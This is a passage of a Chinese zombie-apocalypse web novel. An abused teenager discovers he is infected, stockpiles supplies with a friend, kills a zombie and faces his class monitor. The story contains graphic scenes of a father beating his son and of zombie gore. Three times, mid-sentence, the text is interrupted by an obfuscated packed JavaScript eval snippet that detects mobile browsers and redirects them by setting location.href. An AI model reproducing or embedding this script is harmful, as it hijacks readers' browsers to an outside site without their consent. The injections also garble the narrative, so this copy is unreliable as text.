想了想,他打字回复道:“之前不是发生过几起人咬人的事件吗?虽然网上的照片都被删得差不多了,但照片还在的时候,我特意观察过,那些咬人的人双眼无神,皮肤青中泛黑,脸上有大块大块的青紫斑,比起生病,更像是已经死了一段时间的尸体。” “今天天气预报说雨季即将结束,直觉告诉我没有这么简单,看见你的评论,我觉得你跟我应该是同样的看法。” 谢崇宜则回复得很简单:“你可以多准备一些物资在家。” 乌珩佯装不知:“物资?吃的?” “你知道什么?” “什么也不知道,”谢崇宜说,“但看过生化危机123456。” “下了。” 乌珩没有继续追问谢崇宜,对方说下了估计是真的下了,他看了眼电脑右上角的时间,那两口子要下班了,他得开始做饭了。 少年起身,打开房门,乌芷正在奋力地拖客厅的地,被她弄得乱糟糟的客厅已经恢复整齐。 “乌芷,去把饭蒸上。” 乌芷立正敬礼:“收到!” 兄妹俩的父母到天快黑了才下班回到家中,和屋外阴沉的天气相比,家中温馨又暖和,一踏进家门,两人脸上的笑容都多了不少。 乌珩已经将饭做好了。 乌芷正在帮忙往外端碗筷,看见中年男女,立刻高兴地喊:“爸爸!妈妈!” “哎哟宝贝小芷,”曾丽珂换了拖鞋,走到餐桌边亲昵地抱了乌芷一下,又亲了乌芷一下,顺手拿走了乌芷手里的碗筷放在桌子上,“都会给哥哥打下手了啊?真厉害。” “谢谢妈妈夸奖。”乌芷笑笑,脸上露出两个小酒窝。 “那我就洗手吃饭吧。”曾丽珂边说边挽起了衣袖,她走到水池边,挤了一泵洗手液,揉搓着双手时,她扫了眼旁边正在收拾厨房的少年,低声说,“为什么要让妹妹帮你忙?她能帮得上你什么?” 乌珩手里拿着一块抹布,沉默地擦拭着油烟机上的污渍。 曾丽珂继续数落,手上的泡沫搓了一大堆,“乌珩,你该懂事了啊,小芷这个样子,我们只能把她托付给你照顾,可你总是这么不懂事,我不是第一次碰见小芷干活了,你说说,她能干得好什么?” 乌珩应了声知道了,注意力全在手里的活上。 曾丽珂看见他这副要死不活的样子,火气窜上来,推了他一把,“大声点说话,我们没给你饭吃?” 乌珩差点撞到油烟机上面,他及时扶着灶台,声音大了点儿,“知道了,妈妈。” 女人洗完手后,碎碎念着走出了厨房,紧跟着,少年父亲走进来,灯下,乌世明宽阔灰暗的影子完全笼罩住少年细弱如柳的身形。 “又惹妈妈生气了,”他戴着眼镜,说话时语气斯文得不得了,“妈妈上班累了一天,回到家里还要被你气,乌珩,懂事点。” 在哗啦啦的水流声中,乌珩又应了声“知道了”。 乌世明有洁癖,他洗手按照七步洗手法要洗上三遍,乌珩已经在这个时间擦完了油烟机和灶台,他从乌世明身后绕到另一个水龙头旁边洗抹布,乌世明的目光也从窗外移到了少年的脸上,看了会儿,他咂咂嘴,“乌珩,你这个头发……” 乌世明洗完了手,关上水龙头,湿淋淋的手指撩起了少年额前的刘海,“有点长了,你不嫌挡眼睛?” 乌珩抓紧了抹布,“我明天就去剪。” 乌世明这才冲他笑,“这才是爸爸妈妈的好孩子嘛。” 走出厨房时,乌世明叮嘱乌珩,“吃完饭后别忘了教你妹妹算数。” 厨房里只剩下了乌珩,乌芷悄悄跑进来,贴着乌珩,“哥哥,爸爸又骂你了吗?你别伤心啊,反正我是不会骂你的。” 乌珩面无表情地搓洗完了抹布,丢到一边,扭头垂眼凝望着乌芷,“那小狗叫两声,我就不伤心了。” 乌芷双手挡着嘴,“汪,汪汪,汪汪汪!” 少年淡漠地移开目光,“我不伤心了,你去吃饭吧。” 小姑娘哄好哥哥欢天喜地跑走后,乌珩身边是他喜欢的冷寂,他看着窗外,实则是看着玻璃里的自己以及自己身后正在餐桌边享受晚餐的三口之家。 他把乌芷养成了一条只听自己话的狗,如乌世明曾丽珂所愿,他作为主人,当然会负责乌芷这个智障的下半生。 - 吃了几口半热不冷的饭,乌珩在洗手间用剪刀一剪子就剪掉了额前的几绺碎发。 他眼睛完全露出来,却仍然是看不出什么生机。 乌珩对自己的或者别人的长相一向不关注,他本身就不太能分得清每张脸的区别。 但这一次乌珩的目光却久久地停留在自己的脸上,似乎是看见了什么不可置信的东西一般,他关上洗手间的门,将洗手间的灯全部打开,凑近了镜子。 少年眼角出现了一块之前没有的青斑。 他想起自己之前跟谢崇宜发的消息。 之前他还在说别人,现在轮到他自己了。 为什么? 他没有接触过那些奇怪的人。 乌珩想到上午的陈双和赵钱孙,可是……自己也并没有被他们伤到。 那是空气传播?不至于,传播越轻易,病症就越轻。 这类现象乌珩在影视剧里也看见过,他几乎敢确定是靠体//液传播。 外面却在这时响起了乌世明的敲门声,他沉着声音,“乌珩,你在洗手间太久了,妹妹都尿裤子了。” 乌珩却置若罔闻,他快速脱掉了身上的衣服裤子,果不其然,自己不止脸上出现了青斑,身上也有好几处,他数了自己能看见的部位,除去被乌世明揍之后残留的,总共十六处。 “乌珩?”门外,乌世明的唤声一次比一次阴沉。 每叫一次乌珩,他都会配合拍一次门。 乌珩刚穿好裤子,洗手间的门就被乌世明一脚踹开,乌珩来不及躲避,对方迎面一脚,他用双手抱住头,整个人都被踹飞了出去。 乌世明有着翩翩君子之仪,他摘下眼镜放到盥洗台,慢条斯理地往上挽衣袖,“我叫你多少遍?你连句话都不回?装没听见?” 乌珩从又湿又凉的地上爬起来,扶着腰,“没。” “那为什么我叫你你不做声?”乌世明走到乌珩面前,扬手就是一耳光。 被扇到的那面脸疼得火辣辣的,耳朵里更是嗡嗡作响,乌珩堪堪站稳,一言不发。 乌世明连着扇了少年七八个耳光。 乌珩脸上没什么肉,在乌世明扇第二个耳光的时候就已经肉眼可见地肿了起来,乌世明停手时,他半张脸已经肿得充血。 “道歉。”乌世明放下衣袖,看样子是终于肯停手了。 乌珩声音含糊不清,“对不起,爸爸。” 这时候,曾丽珂把乌芷牵了进来,看见乌珩肿着脸和一身的青痕,她推了乌世明一把,“你干什么你,教育孩子打这么重?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836402|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌珩,赶紧出去,在外面等着,我给小芷弄干净后再来给你脸上擦药。” 乌珩沉默地穿上上衣,走了出去。 坐在沙发上,乌珩脸上仍旧在隐隐作痛发麻,他浑然味觉,低着头在手机备忘录里删删改改。 尽管自己已经有了将要变异的迹象,但该买的物资还是得买,林梦之和林奶奶还用得上,哦,还有他的狗。 乌芷从洗手间里出来后,担心地看着乌珩,随后,曾丽珂也出来了,她去找了药膏,坐到乌珩旁边,温柔地给乌珩上着药,乌珩也任她在自己脸上抹来抹去。 曾丽珂一开始的确是在专注地在给乌珩上药,只是面对面就难免撞上目光,她撞上乌珩一瞬不瞬看着自己的眼神,像蛇类。 “怎么这么看着妈妈?”曾丽珂莫名地后背发凉。 乌珩眼皮盖下,“妈妈,我今晚想去林梦之家里睡。” 曾丽珂想是乌珩被乌世明打了难过,想去找朋友呆一晚上,没多想就点头了,“去吧去吧,但你去之前得先把妹妹的算数教了。” “好。”乌珩点头,“谢谢妈妈。” 乌芷正在房间里紧张地等着哥哥。 比起乌珩几乎没什么优点的小房间,乌芷的房间有一面大落地窗,采光好通风好,房间内摆满了乌芷喜欢的芭比和布娃娃。 看见乌珩走进来,乌芷小声地叫了声“哥哥”。 乌珩在床沿坐下,“给你20分钟,写不完作业就别叫我哥哥。” "我我我马上,我马上就做,我已经写了两道题了,"乌芷慌里慌张抓起笔,“我20分钟肯定能写完!” 乌芷的智商停留在八九岁,还是不太聪明的八九岁,她全身心地依赖乌珩,连乌世明和曾丽珂都要往后排。 她抢在20分钟内写完了作业,松了一大口气,看着做好的作业,她小心翼翼捧给乌珩,“哥哥,可以检查了。” 乌珩收了手机,扫了眼作业,确定全对之后,他脸上也没出现平时的笑意,站起来便要走。 “哥哥!”乌芷没有得到哥哥的微笑作为奖励,着急忙慌地抓住乌珩的衣角,“我知道你又因为我挨打了,但你别讨厌我,我求你好吗?我以后我会努力学习,我会拦着爸爸,你不要不喜欢我。” 乌珩无动于衷,他拿开乌芷的手,头也不回地离开了对方的房间。 楼下,林梦之一听见敲门声就跑来给他开了门。 “草草草,”他把少年拉进屋,关上门,屋里除了奶奶没其他人,他还压低声音,“汉州汉南区的13路公交车上有两个男的突然窜起来咬人,其中一名乘客的脸都被咬下来吃了!公交车撞到花坛里,后面的事情你绝对想不到,公交车里爬出来七八名乘客开始扑咬路人,控制住的时候,估计已经有几十个人被咬到了!” “乌珩,这他妈不是电影里面的那种丧尸吗?”林梦之恍若置身电影里。 他没想到,自己下午的时候还在对乌珩的话将信将疑,晚上,乌珩的话就被彻底证实。 乌珩站在灯下,静静地看着林梦之上蹿下跳。 “幸好有你在,你反应快,要不是你提醒,我现在估计还以为就是普通的狂犬病。” “梦之。”乌珩试图打断林梦之。 “我们不是还要出去买物资吗?可得小心点,别被突然窜出来的东西咬了,被那玩意儿咬了一准也要变。” “梦之……”乌珩声音大了点。 “嗯?”林梦之这才停下叭叭,看着乌珩。 这不看不要紧,一看,林梦之就看见了乌珩脸上的巴掌印,这下他跳得更高,“乌世明又打你了?!” “不是这个,我是想说,”乌珩指着自己的脸上变紫的青斑,“梦之,我好像已经被感染了。” 5. 第5章 “感染?什么感染?”林梦之没反应过来,下意识里也拒绝接受这两个字出现在自己朋友身上。 乌珩却偏要强调,“我说,我好像被感染了。” 看着呆若木鸡的林梦之,乌珩继续说:“我身上出现了很多跟眼睛这里一样的青斑,有些颜色很深,有些颜色偏浅。” 林梦之不信,“肯定是乌世明之前打的。” “梦之,我们得在我彻底变异之前把所有物资买回来,你说公交车上一开始只有两个人咬人,但是撞车之后,咬人的就有了七八个,这说明感染的速度加快了,感染彻底爆发肯定就在这几天,天气预报不是说雨季要在下周一结束,我猜测……” “乌珩!”林梦之不可置信地看着侃侃而谈的发小,“这是重点吗?” “那什么是?”乌珩露出不解的眼神。 “你被感染了,你他妈被感染了!你要死了!”林梦之崩溃地大喊大叫,眼泪都快要飚了出来。 乌珩呼吸顿了顿,垂眸道:"死没所谓。" “我们先去医院,”林梦之拿上摩托车钥匙就要带乌珩出门,“说不定是生病了。” 乌珩甩开他,把书包拉开丢到林梦之面前,里面是乌珩搜罗来的所有的钱,“没时间了,我们去买物资。” 林梦之咬着牙,整个人都控制不住地发抖。 跟奶奶打过招呼之后,乌珩穿上林梦之的厚毛衣,跟着林梦之一起走出院子,林梦之从跨上摩托车那一刻起就开始哭。 乌珩戴着头盔,耳边除了刮得呼呼作响的风声,就是林梦之的嚎啕大哭声。 “阿珩,这不公平,这对你不公平。” “为什么倒霉的总是你?本来你应该是独生子,但曾丽珂意外怀孕舍不得打,给你生个傻子妹妹让你给她当牛做马。” “乌世明这个人模狗样的禽兽,让你当了他十几年的沙包。” “我以为等你上了大学,你就能跑路,离开这一家人,但是为什么,这到底是为什么?” 在林梦之的控诉中,乌珩冷静地计算着他跟林梦之手里的钱能够买多少物资。 批发市场这时候还没有歇业,家家店都灯光明亮,但毕竟已临深夜,所以市场里也看不见有什么客人。 “我们要买什么?”林梦之吸着鼻子,眼睛已经哭肿了。 乌珩低头看着手机备忘录,轻声说:“离我远点,我现在有点想咬人了。” 林梦之一下窜出去三米远。 乌珩听见动静,抬起眼,不好意思地一笑,“骗你的。” “草!” 被乌珩这么一打岔,林梦之低落的心情转好不少。 或许,也不一定被感染呢。 "我们两个的钱加起来不到二十万,省着点用,应该能买不少东西。" “二十万已经很多了。”林梦之打了几年工外加在奶奶那儿坑蒙拐骗才存了五万块。 “不多,我们这次买物资都是百斤起步,一斤大米算五块钱,一千斤就是五千块,这还是只是大米,我……” “一千斤!不是,乌珩你玩这么大?”林梦之差点惊掉下巴,“我觉得不用买这么多吧,说不定要不了几天,医院就会研究出疫苗什么的。” 乌珩直接无视了林梦之,“我们先去买大米,让他们送货上门,送货的时间最好都在深夜,今天晚上送不完就明天晚上,总之不能在白天送。” 林梦之也赞同,“免得小区里的人看了问个没完,烦死了。” 乌珩跟林梦之的观点不同,“梦之,如果我们所有人都被困在了家里,他们都没有食物,但他们知道我们有,你觉得他们会怎么样?” 林梦之沉默半天,“我不知道。” “你知道。”乌珩说道,他看向近旁的粮油店,“开始吧,你砍价。” 少年先是低头看了眼各种大米的批发价,接着手指点着价格居中的一种稻米,朝坐在桌子后面嗑瓜子的老板问道,“这种8块钱一斤的大米我要两吨,有货吗?” “多少?两吨?”老板本来还没正眼瞧两个小屁孩,一听见要货的量,立刻就挺直了腰板。 林梦之的表情跟老板一样震惊。 只是,还没等他问乌珩怎么一千变成了两吨,老板给出的所谓的已经便宜了很多的单价就让他情不自禁挽起了衣袖。 “你开什么玩笑?八块?我工作的地方一次性购入一千斤都是六块多的价,我们要两吨,你还八块钱,我最多只能接受两块钱一斤。”林梦之靠着收银台,一脸的“我都是将就,两块我都嫌贵”。 乌珩看了林梦之一眼,走去一旁,开始看各种食用油。 “两块?我的老天爷,那我岂不是亏本了,两块钱真的不行,我真的卖不了。” 林梦之比了个三,“三块,再加不了了。” “三块也不行,”老板苦着脸,“虽然说两吨确实是笔大买卖,但我做生意总不能亏本做吧,你多少让我挣点。” “我再加一块钱。”林梦之懒洋洋道。 “多给五毛成不成,四块五。”老板说。 林梦之拍了下桌子,“成交!” 背过身,不管是林梦之还是老板,都悄悄松了一口气。 乌珩在不远处选定了一款食用油,他看向老板,“五十桶。” 林梦之也看向老板,摆出之前的慵懒姿势,“你看着给个价。” 米油的最终成交价都比乌珩最初估计的要便宜,虽然单价之间的差距不大,一块几毛的,可他们购买量大,累积下来也是一大笔钱,更别提他和林梦之本来就不富裕。 老板接下大单,人也大方起来,派了两辆大货车,多出来的空间乌珩又买下了几箱挂面泡面和几箱压缩饼干丢上了车。 林梦之看下时间,跑前跑后跟司机和送货人员嘱咐:“晚点送,大概凌晨十二点发车,回头我加钱。” 乌珩走在前头,步入了一家专卖罐头的店。 新鲜的蔬菜水果还有肉类都不耐存放,但也不能没有维生素的摄入,末世也没有再讲究口感的必要,有的吃就不错了。 林梦之跟上来时,乌珩看向他,他走上前,拉开乌珩,第一句话便是,“便宜点,贵了我们可不要。” 水果罐头十箱,蔬菜罐头肉鱼罐头分别二十箱,路过鲜肉店,乌珩又朝老板预订了一整头猪,但是要老板送货之前就用盐腌制好,他每斤会加一块钱,老板虽然心里疑惑,但只要能收到钱,他连声应着好。 林梦之砍价砍得口干舌燥,买完猪肉,他嚷着要喝水休息,一屁股坐在了人家店门口的板凳上,死活也不动了,让乌珩自己先去转转。 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836403|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩想了想,“那我先去看看菜种。” 其实,林梦之家虽然在一楼,有一个大院子,但如果末日来临,在院子里种菜肯定不实际。先不说会不会引起同小区人的觊觎,就说在院子里活动,一些奇怪的东西肯定会闻声而来。 所以对于购买菜种,乌珩有自己的打算——末日来临,世道一定会乱,有些东西新生,有些东西就会消失,这是世界更新的铁律,而在和平年代应有尽有的事物,在将来却有可能有价无市。 农副产品在批发市场的边角,买了这么些时间,路过不少店家都已经关门打烊,只剩两侧路灯还微弱地亮着。 农副产品那边关店更早,乌珩仅看见一家店还亮着灯。 乌珩朝那家店小跑过去,他看了一圈,没有看见老板,但最里边有一扇蓝色的帘子作门,里间有光亮,还有窸窸窣窣的动静。 大多店都是前面做营业用,后面当厨房,不影响平时守店,乌珩以为老板是在后面吃夜宵,便自顾自先在店里转了起来。 白菜黄瓜西红柿辣椒茄子大蒜玉米南瓜芹菜等种子,乌珩一眼扫过去,打算每种都各买下少量,种子无需买太多,因为只能在土里种出来,种子就能生种子。 然而,身后一道突兀的声音打断了乌珩的构想,他手指停滞在货架上,屏住呼吸。 鼻息前飘来一阵隐隐的腐臭味。 这个味道,他前面在陈双和赵钱孙身上都闻到过。 乌珩垂下眼,手指沿着货架下滑,拔出腰后水果刀的瞬间,身后那东西也朝他嘶吼着扑过来。 少年握紧刀柄,心脏狂跳的同时,手起刀落,一刀捅进对方的脑袋,那张已经腐烂的面孔近在咫尺,张大的嘴释放出让人难以忍受的臭气,喉咙中的嘶吼声越来越小,直至消失。 拔出刀,对方倒在地上,一动不动。 乌珩走过去踹了它一脚,确定对方不再有反应之后,他才开始认真打量这个玩意儿。 显然,这是跟陈双和赵钱孙一样的东西,只不过它变异得更加彻底,牙床全部裸露在外,乌紫的皮肤皱在一起,头顶露出几大块发皱的头皮,两只眼睛变成死鱼眼。它明显是男人的体型,衣服也是男性服饰,乌珩想,这大概就是店老板。 站了一会儿,乌珩不知道想到了什么,看了看身后空无一人的街道,很快就蹲了下来,把刀再次插/进了老板的脑袋里。 少年举着刀,连着□□了五六下,噗呲噗呲的声音响起,少年蹙起眉,不太满意似的,直接把手从老板的眼眶里伸进去又掏又搅,一处都不放过。 脑袋内容物不知道是因为变异才稀软还是本身就如此,让乌珩觉得体验感很差。 “你在找什么?”一道声音在少年头顶上方响起。 乌珩仰起头,看见戴着鸭舌帽的谢崇宜正居高临下地看着自己,帽檐下一双桃花眼看人时让人莫名地后颈生寒。 少年慢慢把手从老板脑袋里拿出来。 “我觉得他好可怜,我,救救他。”乌珩温温吞吞说道。 谢崇宜差点笑出了声,他直起身,双手插在风衣兜里,“别掏了,丧尸脑子里什么也没有。” “你怎么知道?”乌珩讶异道。 “来的路上不小心掏了两个。”说着不小心,乌珩却从谢崇宜的语气当中听见了些遗憾的意味。 6. 第6章 "你爸又打你了?"谢崇宜看着乌珩半张青紫发红的脸,突然问道。 “你怎么又知道?”乌珩想把脸挡起来,又找不到东西,他仍是蹲着,且背对谢崇宜,埋头在老板衣服上擦拭水果刀上的血迹。 谢崇宜顺手拿起两包菜种看了看,“班里每个人的家庭情况我都了如指掌,你的也不例外。” 少年在校内形单影只沉默寡言,总是低着头谁也不看,上交的作业敷衍了事,学校的活动更是从不参加。 谢崇宜如果不是班级里的班长,他想,可能到毕业,他都不知道班里有乌珩这么个人。 但没想到,毕业还未来临,谢崇宜就看见了对方的另一面。 “我不爱管闲事,但乌珩你好像不是会逆来顺受的人。”谢崇宜歪着头,狭长的眸子表面上漫不经心,其实却已经化成了实质性的无数双手,企图撕开少年的皮囊。 乌珩不发一言,因为他突然闻到了空气中越发浓郁的香气,直冲脑门,甚至灵魂深处。 眼前的世界变得红绿斑斓,唾液分泌的速度让乌珩不禁大口往下吞咽。 他回头,怔愣地望向谢崇宜。 谢崇宜本就一直在看着他,撞上目光时,谢崇宜眯起眼睛,眼底滑过一抹惊疑。 男生抢在乌珩失去神智之前一把夺走了乌珩手里的刀,刀锋抬起了乌珩的下巴。 刀具的冰凉和刀锋的锋利,都让被突然而至的香气冲击得头晕目眩的乌珩瞬间清醒,恢复如常。 谢崇宜手腕一转,刀锋直接抵在了乌珩的咽喉前,他沉声道:“乌珩,你被感染了。” 他落眸看着乌珩这张无精打采的脸,居然在这种时候,对方眼底都没有什么情绪波动。 乌珩把目光错开,“对不起。” “对不起?”少年的反应给本来剑拔弩张的氛围添了几分莫名的幽默。 谢崇宜的刀往下滑了滑,轻搁在对方秀气挺立的喉结上。 “嗯……”乌珩艰难地仰起脖颈,确实不太清楚自己应该作什么反应。他睫毛颤了两下,看着谢崇宜,有种不知道危险为何物的天真,还轻声问,“那我刚刚吓到你了吗?” 谢崇宜笑了,只扬了嘴角,眸子还是依旧无波无澜“吓到了,你拿命赔?” “……”乌珩似乎是不可置信地瞪圆眼睛,活像一只被掐住脖子的猫。 但谢崇宜现在可不会认为乌珩是猫。 “别这样。”乌珩睫毛颤抖,声音哀弱。 谢崇宜这才注意到,乌珩的睫毛很长,并且笔直浓密。 连走神都算不上的空档,乌珩却趁机抬手攥住谢崇宜手腕往下一拧。水果刀掉落,乌珩手指摸到刀柄,立刻抓到手中,扬手就挥刀从谢崇宜颈前划过去。 少年只是狠和阴险,扑杀的动作在谢崇宜的眼中却太小儿科。 谢崇宜掌风凌厉,劈向乌珩手臂,乌珩感觉自己手臂仿佛被横切一刀。 还没反应过来,谢崇宜便迎面掐住了他的脖子,手里的刀也回到了谢崇宜手中,刀尖正对着他的眉心。 谢崇宜蹲在乌珩双腿/间,刀尖前推,刀前白皙的眉心冒出了一点血珠。 乌珩紧张地喘息,蹙起眉,退而不得。 “乌珩,我没想杀你,毕竟我是你的班长,但你突然想伤人,你准备怎么向我道歉?”谢崇宜居高临下,没有施以威慑,掐着手中柔软纤细的脖子尽是把玩意味,高贵得温和怡人又刻薄得目下无尘。 乌珩垂眼不作声,他一落到他人手中,就会立马变脸,不仅没有攻击性,还会给人任其欺凌的感觉。 但谢崇宜已经了解过他的狡猾和善变了,他本来就欺骗不了谢崇宜,这下更是无法凭借诡计得逞。 正当乌珩在心底思索着怎么能让谢崇宜放自己一马的时候,外面传来脚步声。 “你在做什么?!” 一道吼声从店外传来。 林梦之来得刚刚好,他仅看见发小被人拿刀对着脑袋,立马就疾跑前去。 谢崇宜一个闪身,让林梦之差点照直扑倒在地。 “阿珩,你没事吧?”林梦之回头,想将乌珩扶起来,可他却先看见了地上的那具脑袋已经被捣得稀烂的尸体,脸色骤然转白。 乌珩捡起被谢崇宜丢在地上的刀,主动说道:“是丧尸。” 这还是林梦之第一次亲眼见着网上说的所谓的丧尸,冲击力可比文字要大多了。 “为什么这里也会有丧尸?”林梦之张惶四望,突然觉得自己身边已经变得危机四伏了。 乌珩用衣袖擦了擦脸上刚刚溅到的血迹,看向林梦之,给他介绍谢崇宜,“谢崇宜,我们班的班长,刚刚我想咬人,他才那样的。” 林梦之抓到了“我想咬人”这四个字,他喉咙艰涩,连张口都做不到。 “林梦之,我发小。”乌珩淡定得不像个活人。 “你好自为之。”谢崇宜回到不近人情的姿态,压低帽檐,头也不回地离开了店内。 眼见着男生修长的背影彻底消失,林梦之跟了两步又走回来,“不是,他怎么那么淡定啊,比我淡定多了,他是不是跟你一样,也提前知道了什么?” “嗯,大概是。”乌珩朝林梦之勾勾手指,“梦之,过来。” 他不叫林梦之还好,这一叫,林梦之反而不敢过去了。 “干嘛?你想吃人啊?” 乌珩摇摇头。 林梦之小步小步挪到了少年旁边,在两人脚下,老板已经感染畸变的身体看起来比干尸好不了多少,散发着腐臭味的黑红色污血在后脑勺下的地面慢慢淌开。 乌珩把手里的刀递给林梦之,“梦之,如果我彻底变异,你就解决我,就像我解决这只丧尸一样,但是你要记得,只有重击头部才能杀死丧尸。” “……我、我不。”林梦之舔舔嘴唇,满脸都写着拒绝。 乌珩没心思跟他演苦情戏码,把水果刀硬塞进了林梦之手里,转身环视着店内,说道:“把我们要买的都带走,该付多少钱就留下多少钱。” 说完之后,乌珩直接在店里转悠了起来,他找到了两只空的纸箱,扫了眼货架价格后,整排整排往纸箱里扫。 看着乌珩依旧有条不紊,林梦之定定心神,马上也跟上对方的节奏。 菜种购入量不算大,乌珩还随便扔了十几包花种进去,反正不占地方。 五箱菜种用胶带封箱装上粮油店货车后,乌珩给收银台上丢下两千块钱,走时还没忘关灯,并且跟林梦之一起将店的卷帘门放了下来。 “把那个,丧尸,就丢在那儿,真的不要紧么?明天警察会不会找上门啊?”林梦之紧张得大汗淋漓,明明这个世界一切都还在正常运行,他却混乱得毫无头绪。 “解决了这么大一个麻烦,他们应该给我们颁发锦旗吧?”乌珩垂着脑袋走路,有气无力道。 “什么意思?” 少年看着林梦之,“如果今晚没有我们,老板跑了出去,你觉得接下来会发生什么事情?” 一些破碎但掩不住的血腥的画面出现在林梦之眼前。 “阿珩,我有点害怕。”他比乌珩壮,比乌珩高,比乌珩会交际,从小到大,一直都是他在保护乌珩,但他现在能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836404|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显感受到,在事关生死的大事上,他大脑一片空白。 乌珩不擅长安慰人,他颇认真地思考了一番,认真道:“别怕。” - 凌晨,被塞得满满当当的货车同时出发,到达乌珩所住小区时,小区里的居民都已经关灯歇下。 林梦之再三拜托卸货人员安静安静安静,全程虽然无法做到悄无声息,但也达到了乌珩之前的要求:不吵醒任何一户。 可林奶奶那边却逃不过,她虽然眼睛看不见,耳朵却更灵,她不知道发生了什么,急得在客厅转圈。 嫌她挡地,林梦之一把将她抱起来放在了沙发上。 乌珩的声音出现在她身旁,“奶奶,外面发生了一些事情,之后衣食住行可能会受到影响,所以我跟梦之提前准备了一些吃的,以防万一。” 运着货的两个中年男人不小心听见了少年的这一番话,对视一眼,脸上都露出无可奈何的笑容。 进房间后,其中一人说:“我女儿这两天也各种往家买东西,自己的钱花光了不说,还找我们要。” “小孩子,听风就是雨。” 乌珩不知何时出现在了两人背后,幽幽说道:“再小声点可以吗?别让我奶奶听见。” 四点多卸完货,乌珩和林梦之一齐在沙发上瘫坐下来,累得说不出话。 “幸好我家够大,幸好我爸妈死了,主卧都能用来放物资。”林梦之抹了把脸上的汗水。 “……” 主卧是家里最大的房间,现在已经被完全粮油装满了,连衣柜和床头柜都被利用了起来。 剩余的都运进了林梦之房间,如今,林梦之的房间只剩下了一条从门口通往床边的过道,而床也被物资占据了三分之一。 “你家不是还有地儿?阿珩,剩下的放你家,那样也方便你们家用。”林梦之自以为自己考虑得很周到,满意地笑了。 乌珩握着水杯,轻轻摇头,“不。” 林梦之眨了下眼睛,脸上的笑容消失,“我知道了,到时候要真是大家都没有吃的,老子一粒米都不会给他们。” 乌珩朝他笑了笑,手指摩挲着杯子,目光却转向了不远处的阳台。 林梦之家里的阳台还是老式的,玻璃加防盗窗的形式,乌珩顿了会儿,说:“明天找人把阳台封起来。” 林梦之累得不再问为什么,只点头说“好”。 乌珩见他累得眼睛都难以睁开,起身道:“洗了睡觉吧,你回房间,我睡沙发。” “那不行……”林梦之睁开眼。 “我还要确定明天要做哪些事情。”乌珩明着赶人。 林梦之回房间后,乌珩只让客厅一盏小台灯亮着,他披着一张薄被,盘腿坐在沙发上写明明天将要购入的物资:日常用的药品,洗护用品、保暖衣物、燃气、柴油、武器。 备忘录写了好几页,要买的东西太多,尤其是后面要买的物资都不便宜,他跟林梦之的钱远远不够。 手机朦胧的蓝白光芒照耀着乌珩两汪深井般的眼睛,他跟林梦之的各项条件,不管是信用卡还是借网贷都行不通,就算行得通,额度多则只有几千,少则几百都有可能,起不了什么作用。 乌珩需要钱,很多很多很多很多很多钱。 少年深吸一口气,眼神抬了起来,看向对面的墙壁。 屏幕的光从下方照耀上去,颈子奇薄的皮肤底下,青色血管清晰可见,纤柔的眼睑却在脸上投出和他温顺的五官毫不相符的阴鸷。 等秩序开始崩溃,钱不一定还能派上用途,到那时候,他想要什么,可以直接去抢。 7. 第7章 翌日,乌珩醒得很早,他无声息地回了家,进厨房给一家人做早餐。 曾丽珂和乌世明喜欢面食,但对面食的口感要求并不高,早餐只要是面食就行,所以家里冰箱日常备着不少超市买来的速食面食,做起来也方便得很。 麻烦的是乌芷的早餐,她只吃摆盘漂亮的食物,味道是其次。 乌珩用紫薯泥捏了几只丸子,又用切碎的蔬菜当做鼻子眼睛,最后在旁边倒上一杯酸奶,撒上一小把坚果碎。 “好棒……小芷自己也会扎辫子了呢。” 随着曾丽珂的声音出现,乌芷钻进厨房,小心地把手里的五百块钱塞进了乌珩的口袋里,“妈妈昨晚给我的零花钱,我给哥哥。” 接着,她看着餐盘里的早餐,夸张地赞美,"哥哥好厉害!谢谢哥哥!哥哥辛苦了!" 乌珩吃着一碗面条,坐在距离一家三口最远的位置上。 他脸上的巴掌印经过一晚上后泛着青,出现在他惨白的脸上,衬着一双着色太深的瞳孔,似人非人。 “乌珩?”乌世明不知道什么时候回了一趟房间,他手里拿着钱包,拿出了里面全部的现金,放到了少年手边,“昨天晚上是爸爸太冲动了,爸爸给你道歉,你别放在心上,好吗?” 乌珩扫了一眼那些现金,点了点头,“好的,爸爸。” 他生活费不多,比不上乌芷零花钱的十分之一,攒的钱几乎都是靠兼职乌世明沙包得来。 乌世明和曾丽珂去公司之后,乌珩要下楼去找林梦之,乌芷紧紧跟着他,“哥哥可以带上我吗?” “你很有钱?”乌珩挑眉,语气却冷淡。 “没……没有了,全给哥哥了。”乌芷退回门内,手指掐着手心。 “那就乖乖待在家里。”乌珩微扯嘴角,毫不留情带上门,将门反锁。 